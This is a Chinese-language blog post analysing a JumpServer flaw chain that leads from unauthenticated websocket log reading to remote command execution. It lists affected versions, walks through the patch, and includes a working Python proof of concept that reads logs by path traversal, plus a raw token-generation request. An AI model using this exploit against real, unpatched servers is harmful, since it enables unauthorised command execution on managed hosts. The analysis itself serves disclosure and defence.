JumpServer 从信息泄露到远程代码执行漏洞分析

2021-01-17 16:11 JumpServer

前言

JumpServer 是全球首款开源的堡垒机,使用 GNU GPL v2.0 开源协议, 使用 Python / Django 为主进行开发。
2021年1月15日,JumpServer官方发布了安全通告,其中修复了一处远程命令执行漏洞。由于 JumpServerwebsocket接口未做授权限制,允许攻击者通过精心构造的请求获取日志文件,从日志文件中可获取敏感信息生成token,再利用生成的token通过相关操作API在资产主机上执行任意命令。

影响范围

JumpServer < v2.6.2  
JumpServer < v2.5.4  
JumpServer < v2.4.5   
JumpServer = v1.5.9

安全版本:

    JumpServer >= v2.6.2 
    JumpServer >= v2.5.4 
    JumpServer >= v2.4.5 
    JumpServer = v1.5.9 (版本号没变)

漏洞分析与复现

环境安装

JumpServer 版本:v2.5.3
运行环境: docker 19.03.1
由于JumpServer涉及的组件比较多,官方提供的一键安装脚本对系统版本, CPU 内存都有要求,这里选择 docker 环境进行安装。

git clone https://github.com/jumpserver/Dockerfile.git
cd Dockerfile
cp config_example.conf .env
cat .env
docker-compose up

另外为了达到在资产主机中执行命令的效果,先在资产管理中添加了管理用户和系统用户以及对应的资产。

补丁分析

通过分析近期的commit很快发现了漏洞修复点

https://github.com/jumpserver/jumpserver/commit/82077a3ae1d5f20a99e83d1ccf19d683ed3af71e

第一个修复路径是 apps/authentication/api/auth.py


删除了 get_permissions 函数,在该函数内如果带上了user-only参数,将会获得一个 AllowAny 的权限

第二个修复路径是 apps/ops/ws.py
这是一个websocket 连接端点,用来读取日志文件,修复方式是在connect函数内添加了身份认证代码。

日志文件读取

在资产详情中点击右边测试资产可连接性中的测试按钮,可以触发读日志请求,相关路径为

receive中获取到了task参数,传递给了read_log_file函数,期间task_id参数没有做检验,不过在get_celery_task_log_path限制了只能读log后缀的文件

jumpserver的日志目录在
/opt/jumpserver/logs/, 通过查看gunicorn.log日志,可以获取到user_id asset_id system_user_id

读日志poc

import websocket
#pip install websocket_client
import json
import sys
try:
    import thread
except ImportError:
    import _thread as thread

def on_message(ws, message):
    print(json.loads(message)["message"])

def on_error(ws, error):
    print(error)

def on_close(ws):
    print("### closed ###")

def on_open(ws):
    print("open")
    ws.send('{"task":"../../../../../../../../../../../opt/jumpserver/logs/gunicorn"}')
    #thread.start_new_thread(run, ())


if __name__ == "__main__":
    websocket.enableTrace(True)
    ws = websocket.WebSocketApp("ws://"+sys.argv[1]+"/ws/ops/tasks/log/",
                              on_message = on_message,
                              on_error = on_error,
                              on_close = on_close)
    ws.on_open = on_open
    ws.run_forever()

token 生成

通过前面的信息泄露获取到的数据,我们往 /api/v1/users/connection-token/ post 数据来生成token

POST /api/v1/users/connection-token/?user-only=1 HTTP/1.1
Host: ********
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Referer: http://****/luna/?_=1610803918148
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

user=6ff28bb9-27c8-4f16-a9b1-c281e8bef84b&asset=65914948-7afb-43a7-b2e0-6754b145278b&system_user=2509e891-1b40-4d5b-9386-870e7e769cda

写入到cache token 值数据结果如下

value = {
            'user': user_id,
            'username': user.username,
            'asset': asset_id,
            'hostname': asset.hostname,
            'system_user': system_user_id,
            'system_user_name': system_user.name
        }

但是把这里生成的token 当成rest_api 凭证时会报错,看了下这个报错是绕不过去的。


后来通过一顿操作,发现 connection-token 接口是在koko go 写的程序里使用的


代码执行

通过前面TokenAssetURL反向跟踪到processTokenWebsocket,再进一步跟踪到下面的代码,而且/elfinder, 和/terminal 都有认证校验,而/token 没有

将前面生成的token传给target_id ,就可以进入到runTTY从而在资产主机上执行任意命令了。

可以正常建立websocket连接
http://*****/koko/ws/token/?target_id=1ee29c32-c30b-4ec5-8741-1a7971cdf808


参考链接

  1. https://github.com/jumpserver/jumpserver
  2. https://blog.fit2cloud.com/?p=1761

评论(1)

erotik

2021/03/02 02:46
Great article! We are linking to this particularly great content on our site. Delia Phip Kraus

发表评论

captcha